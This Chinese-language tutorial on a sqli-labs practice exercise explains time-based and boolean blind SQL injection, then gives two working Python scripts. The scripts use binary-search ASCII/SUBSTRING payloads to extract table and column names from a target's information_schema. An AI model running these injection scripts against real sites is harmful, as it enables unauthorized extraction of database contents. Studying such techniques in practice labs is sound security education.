一、什么是时间盲注和布尔盲注?
答:时间盲注是攻击者通过构造恶意sql语句利用sleep()等延迟函数来观察数据库响应时间差异来进行推断信息和条件判断。如果条件为真,数据库会执行延时操作,如果为假则立即返回。响应时间较短。
SELECT IF(1=1, SLEEP(5), 0);
如果条件为真、数据库会暂停5s
如果条件为假、数据库会立即返回
布尔盲注通过观察数据库返回的不同响应(如真或假)来推断信息。攻击者构造SQL语句,利用条件语句改变页面响应内容或状态码,从而判断条件真假。
SELECT * FROM users WHERE username = 'admin' AND SUBSTRING(password, 1, 1) = 'a';
如果密码的第一个字符是
'a'
,查询返回结果,页面显示正常。如果不是,页面可能显示错误或无结果。
二、时间盲注和布尔盲注的共同点和区别是什么?
答:时间盲注和布尔盲注都是SQL注入攻击的形式,用于在无法直接获取数据的情况下推断数据库信息。
共同点:
1、两者都通过逐步推断来获取数据库信息,而不是直接获取数据。
2、都利用条件语句(如IF
)来判断特定条件是否为真。
3、当应用程序不直接返回数据库错误信息或查询结果时,这两种方法都适用。
区别:
1、时间盲注通过数据库响应时间的差异来判断条件真假。布尔盲注通过页面响应内容或状态码的不同来判断条件真假。
2、时间盲注常常使用延时函数sleep()等来进行实现。布尔盲注使用语句if()、case()等实现。
3、时间盲注适用于无法通过页面响应内容或状态码判断条件真假的场景。布尔盲注适用于可以通过页面响应内容或状态码判断条件真假的场景。
三、通过python编写boolen盲注代码获取数据库
1、输入id,?id=1后。显示You are in......
2、输入?id=1'后、发现没有回显。
3、判断字段数,?id=1' order by 3 --+后, 还是显示You are in…
4、联合查询, ?id=1'union select 1,2,3–+后,显示You are in…
5、根据以上判断、可能存在boolen盲注。
获取数据库表:
import requests
def table_names(url, database_name):
table_names = [] # 用于存储所有表名
max_length = 20 # 假设每个表名的最大长度为20
# 限制字符范围:数字、字母、下划线
allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _
# 获取数据库中所有表的个数
# 查询所有表:我们假设表名的个数不超过100
num_tables = 100
for table_index in range(num_tables):
table_name = ''
for i in range(1, max_length + 1):
low = min(allowed_chars) # 最小值:'0',ASCII 48
high = max(allowed_chars) # 最大值:'z',ASCII 122
middle = (low + high) // 2
while low < high:
# 构造布尔盲注的 payload,查询当前表的名字
payload = f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "
params = {"id": payload}
r = requests.get(url, params=params)
# 判断注入是否成功,依据靶场的返回信息
if 'You are in' in r.text: # 判断返回信息
low = middle + 1
else:
high = middle
middle = (low + high) // 2
# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
if middle in allowed_chars: # 确保是有效字符
table_name += chr(middle)
# 每次获取一个字符后打印当前的表名
print(f"Current table name: {table_name}")
# 重置 low 和 high 的值
low = min(allowed_chars)
high = max(allowed_chars)
middle = (low + high) // 2
if table_name: # 如果当前表名非空,则保存它
table_names.append(table_name)
# 如果注入出了多个表,可以停止
if len(table_names) >= 5: # 假设只注入前五个表名
break
print(f"Final table names: {table_names}")
if __name__ == "__main__":
url = "http://sqllab.com/Less-8/"
database_name = "security" # 目标数据库名称
table_names(url, database_name)
获取数据库列:
import requests
def column_names(url, database_name, table_name):
column_names = [] # 用于存储所有列名
max_length = 20 # 假设列名最大长度为20
# 限制字符范围:数字、字母、下划线
allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _
# 获取表的所有列的个数
num_columns = 100 # 假设该表最多有100列
for column_index in range(num_columns):
column_name = ''
for i in range(1, max_length + 1):
low = min(allowed_chars) # 最小值:'0',ASCII 48
high = max(allowed_chars) # 最大值:'z',ASCII 122
middle = (low + high) // 2
while low < high:
# 构造布尔盲注的 payload,查询当前列的名字
payload = f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "
params = {"id": payload}
r = requests.get(url, params=params)
# 判断注入是否成功,依据靶场的返回信息
if 'You are in' in r.text: # 判断返回信息
low = middle + 1
else:
high = middle
middle = (low + high) // 2
# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
if middle in allowed_chars: # 确保是有效字符
column_name += chr(middle)
# 每次获取一个字符后打印当前的列名
print(f"Current column name: {column_name}")
# 重置 low 和 high 的值
low = min(allowed_chars)
high = max(allowed_chars)
middle = (low + high) // 2
# 检查是否是有效的列名
if column_name and not column_name.startswith("0"): # 去掉以 "0" 开头的无效列名
column_names.append(column_name)
# 如果注入出了多个列,可以停止
if len(column_names) >= 5: # 假设只注入前五个列名
break
# 输出最终的列名
print(f"Final column names: {column_names}")
if __name__ == "__main__":
url = "http://sqllab.com/Less-8/"
database_name = "security" # 目标数据库名称
table_name = "users" # 目标表名
column_names(url, database_name, table_name)